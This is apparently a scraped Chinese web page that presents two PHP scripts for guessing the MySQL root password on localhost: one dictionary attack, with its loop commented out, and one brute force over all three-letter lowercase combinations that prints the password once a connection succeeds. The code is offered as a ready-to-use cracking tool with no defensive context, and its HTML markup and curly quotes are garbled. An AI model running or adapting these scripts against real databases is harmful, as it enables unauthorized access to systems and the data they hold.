php本地猜解MYSQL mysql簡介 mysql亂碼 mysql優化

<code><span><span><?</span>
set_time_limit(<span>0</span>); <span>//脚本不超时</span><span>$user</span>=”root”; <span>//用户名</span><span>//$passwd=file(“password.txt”); //密码字典</span><span>//for($i=0;$i<count($passwd);$i++){</span><span>//$pass=$passwd[$i];</span>
connect(<span>$user</span>,<span>$pass</span>);
flush();
<span>//}</span><span>echo</span> “扫描结束！”;
<span><span>function</span><span>connect</span><span>(<span>$user</span>,<span>$pass</span>)</span> {</span><span>$conn</span>=@mysql_connect(“localhost”,<span>$user</span>,<span>$pass</span>);
<span>if</span>(<span>$conn</span>){
<span>echo</span> “<font color=’<span>#0000FF’><b>得到密码：<font color=’#FF0000′>”.$pass.”</font>！！！</b></font>”;</span><span>exit</span>();
}
<span>else</span> {
<span>echo</span><span>$pass</span>.’
‘;
}
}

<span>?></span></span></code>

<code><textarea rows=<span>25</span> cols=<span>90</span> id=’t1′>
<span><?php</span>
set_time_limit(<span>0</span>);
<span>$fruit</span>=<span>array</span>
(‘a’,’b’,’c’,’d’,’e’,’f’,’g’,’h’,’i’,’j’,’k’,’l’,’m’,’n’,’o’,’p’,’q’,’r
‘,’s’,’t’,’u’,’v’,’w’,’x’,’y’,’z’); <span>//密码组合单个字符</span><span>$mmcd</span>=<span>3</span>;  <span>//密码长度</span><span>$jlcs1</span>=<span>0</span>;
<span>$dishes</span>[]=range(<span>1</span>,<span>$mmcd</span>);
<span>//开始循环</span><span>for</span>(<span>$i</span>=<span>0</span>;<span>$i</span><<span>$mmcd</span>;<span>$i</span>++){
<span>foreach</span>(<span>$dishes</span><span>as</span><span>$k</span>=><span>$v</span>){
<span>foreach</span>(<span>$fruit</span><span>as</span><span>$_fruit</span>){
<span>$v</span>[<span>$i</span>]=<span>$_fruit</span>;
<span>$dishes</span>[]=<span>$v</span>;
<span>unset</span>(<span>$dishes</span>[<span>$k</span>]);
<span>$t</span>=implode(”,<span>$v</span>);
<span>$user</span>=<span>'root'</span>;
<span>$pass</span>=<span>$t</span>;
<span>$conn</span>=@mysql_connect(‘localhost’,<span>$user</span>,<span>$pass</span>);

<span>//每生成800个密码自动删除文本框并创建一个文本框</span><span>$jlcs1</span>=<span>$jlcs1</span>+<span>1</span>;
<span>if</span>(<span>$jlcs1</span>==<span>800</span>){
<span>echo</span> “</textarea>”;
<span>echo</span> “<script language=\”JavaScript\”>
<span>var</span> v = document.getElementById(‘t1′);
v.parentNode.removeChild(v);
</script>”;
<span>echo</span> “<textarea rows=<span>25</span> cols=<span>90</span> id=’t1′>”;
<span>$jlcs1</span>=<span>0</span>;
}

<span>//测试密码</span><span>if</span>(<span>$conn</span>){
<span>echo</span> “<script language=\”JavaScript\”>
<span>var</span> v = document.getElementById(‘t1′);
v.parentNode.removeChild(v);
</script>”;
<span>echo</span> “</textarea>”;
<span>echo</span> “<font color=’<span>#0000FF’><b>得到密码: <font</span>
color=’<span>#FF0000′>”.$pass.”</font>! ! ! </b></font>”;</span><span>exit</span>();
}
<span>else</span> {
<span>echo</span><span>$pass</span>.’ ‘;
}
flush();
}

}
<span>//总循环输出</span><span>echo</span> “</textarea>”;
<span>echo</span> “<script language=\”JavaScript\”>
<span>var</span> v = document.getElementById(‘t1′);
v.parentNode.removeChild(v);
</script>”;
<span>echo</span> “<textarea rows=<span>25</span> cols=<span>90</span> id=’t1′>”;
<span>echo</span> ‘扫描’,<span>$i</span>+<span>1</span>,<span>'!'</span>;
}

<span>?></span></code>